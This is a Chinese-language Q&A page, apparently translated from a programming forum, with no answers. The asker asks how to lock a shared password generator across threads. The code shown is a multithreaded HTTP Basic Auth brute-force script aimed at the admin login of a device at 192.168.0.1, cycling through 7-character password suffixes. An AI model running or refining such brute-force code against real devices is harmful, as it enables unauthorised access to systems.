对生成器的线程访问导致错误

时间:2019-03-26 14:00:13

标签: java multithreading jython

我想运行HTTP Brute Force。密码是由生成器生成的,所有线程正在同时访问它。因此,我得到以下错误:

ValueError: generator already executing
    threadLock.release()
    pw = next(g)

如何正确设置锁,以使线程在访问Generator时同步?

def passgen():
    global ab   
    start = Instant.now().getLong(ChronoField.INSTANT_SECONDS)
    for x in product('0123456789BCDFGHJKLMNPQRSTVWXYZ',repeat=7):
        ab = ab + 1
        print(ab)
        yield('3S7P' + "".join(x))

        if ab >= 1000:
            end = Instant.now().getLong(ChronoField.INSTANT_SECONDS)
            print(end - start)
            exit(0)



class reqThread(threading.Thread):
    def __init__(self, threadID, name):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
    def run(self):
        while True:
            print("Starting " + self.name + "\n")
            global g
            pw = next(g)
            print("Trying Login with PW: " + "\n")
            stcode = requests.get('http://192.168.0.1/cgi-bin/auth/iotgw-check-admin.lua', auth=HTTPBasicAuth('admin',pw)).status_code
            print(stcode)
            if stcode == 200:
                print("Success! Valid Password ist " + pw + " for username 'admin'")
                exit(0)

0 个答案:

没有答案